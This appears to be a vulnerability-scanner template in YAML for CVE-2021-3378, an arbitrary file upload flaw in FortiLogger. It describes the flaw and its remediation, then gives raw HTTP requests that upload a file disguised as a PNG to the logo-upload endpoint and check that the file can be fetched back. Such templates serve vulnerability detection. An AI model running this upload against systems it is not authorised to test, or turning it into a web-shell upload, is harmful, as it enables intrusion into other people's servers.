72 lines
2.5 KiB
YAML
72 lines
2.5 KiB
YAML
id: CVE-2021-3378
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info:
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name: FortiLogger 4.4.2.2 - Arbitrary File Upload
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author: dwisiswant0
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severity: critical
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description: |
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FortiLogger 4.4.2.2 is affected by arbitrary file upload issues. Attackers can send a "Content-Type: image/png" header to Config/SaveUploadedHotspotLogoFile and then Assets/temp/hotspot/img/logohotspot.asp.
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impact: |
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Successful exploitation of this vulnerability could result in unauthorized access, remote code execution, and potential compromise of the affected system.
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remediation: |
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Apply the latest security patch or upgrade to a patched version of FortiLogger to mitigate this vulnerability.
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reference:
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- https://erberkan.github.io/2021/cve-2021-3378/
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- https://github.com/erberkan/fortilogger_arbitrary_fileupload
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- http://packetstormsecurity.com/files/161601/FortiLogger-4.4.2.2-Arbitrary-File-Upload.html
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- http://packetstormsecurity.com/files/161974/FortiLogger-Arbitrary-File-Upload.html
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- https://github.com/SYRTI/POC_to_review
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-3378
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cwe-id: CWE-434
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epss-score: 0.46039
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epss-percentile: 0.97333
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cpe: cpe:2.3:a:fortilogger:fortilogger:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: fortilogger
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product: fortilogger
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tags: cve,cve2021,fortilogger,fortigate,fortinet,packetstorm,fileupload,intrusive
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http:
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- raw:
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- |
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POST /Config/SaveUploadedHotspotLogoFile HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySHHbUsfCoxlX1bpS
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Accept: application/json
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Referer: {{BaseURL}}
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Connection: close
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X-Requested-With: XMLHttpRequest
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------WebKitFormBoundarySHHbUsfCoxlX1bpS
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Content-Disposition: form-data; name="file"; filename="poc.txt"
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Content-Type: image/png
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{{randstr}}
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------WebKitFormBoundarySHHbUsfCoxlX1bpS
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- |
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GET /Assets/temp/hotspot/img/logohotspot.txt HTTP/1.1
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Host: {{Hostname}}
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "{{randstr}}"
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- type: word
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part: header
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words:
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- "text/plain"
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- "ASP.NET"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022076da839cc0cf5d9c1f6fccf0aba7664e5d05e8b26165babcfcee6b1a853cd798022100d27c5de3199f6d3d171ad0d9741ec0d0f4ac5b4ddfc8360f530f4d330cd3d90b:922c64590222798bb761d5b6d8e72950 |